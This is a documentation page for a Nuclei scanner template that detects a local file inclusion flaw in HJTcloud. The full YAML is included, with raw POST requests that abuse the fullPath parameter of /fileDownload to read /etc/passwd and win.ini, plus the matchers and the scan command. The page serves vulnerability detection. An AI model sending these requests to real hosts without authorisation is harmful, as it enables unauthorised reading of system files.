HJTcloud - Local File Inclusion
ID: hjtcloud-arbitrary-file-read
Severity: high
Author: pikpikcu
Tags: hjtcloud,lfi
Description
Section titled “Description”HJTcloud is vulnerable to local file inclusion.
YAML Source
Section titled “YAML Source”id: hjtcloud-arbitrary-file-read
info: name: HJTcloud - Local File Inclusion author: pikpikcu severity: high description: HJTcloud is vulnerable to local file inclusion. reference: - https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cwe-id: CWE-22 metadata: max-request: 2 tags: hjtcloud,lfi
http: - raw: - | POST /fileDownload?action=downloadBackupFile HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/plain, */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fullPath=/etc/passwd - | POST /fileDownload?action=downloadBackupFile HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/plain, */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fullPath=/Windows/win.ini
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - "bit app support" condition: or
- type: status status: - 200# digest: 4b0a004830460221008ce90cafd63cc839103c4cec670a795605ba9cb70749a37c5c7cf4395c9dc6c1022100a35a1d881e525cc77ae3274850d489784a13ff1b0b636bbc00ae28e53b8cb34f:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/hjtcloud-arbitrary-file-read.yaml"